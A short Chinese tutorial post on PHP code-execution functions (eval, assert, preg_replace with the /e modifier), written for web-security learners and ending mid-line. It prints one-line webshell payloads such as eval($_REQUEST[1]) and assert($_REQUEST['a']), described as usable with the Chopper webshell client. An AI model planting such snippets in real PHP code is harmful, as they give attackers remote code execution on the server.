前言
大家好,我是阿里斯,一名IT行业小白。非常抱歉,昨天的内容出现瑕疵比较多,今天重新整理后再次发出,修改并添加了细节,另增加了常见的命令执行函数如果哪里不足,还请各位表哥指出。
eval和assert的区别
eval特点
eval()会把字符串按照php代码来执行(合法的php代码,以分号结尾)
eval()是一个语言构造器,不能被可变函数调用
eval($_REQUEST[1]); #eval一句话木马使用方式$_POST['1']($_POST['2']) #这里我们使用可变函数,参数1传入eval会不可用
assert特点
把字符串当做php代码去执行,这里对字符串的要求吗,没有eval严格
assert在php7.0也不再是函数,变成了语言结构(不能使用可变函数了)
函数
eval()
$a = $_POST['cmd1'];
eval($a);
assert()
assert($_REQUEST['a']); #11年,16年的菜刀可以使用
# 参考链接 https://www.freebuf.com/articles/web/56616.html
preg_replace()
这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行
preg_replace('/asd/e', $_POST['a']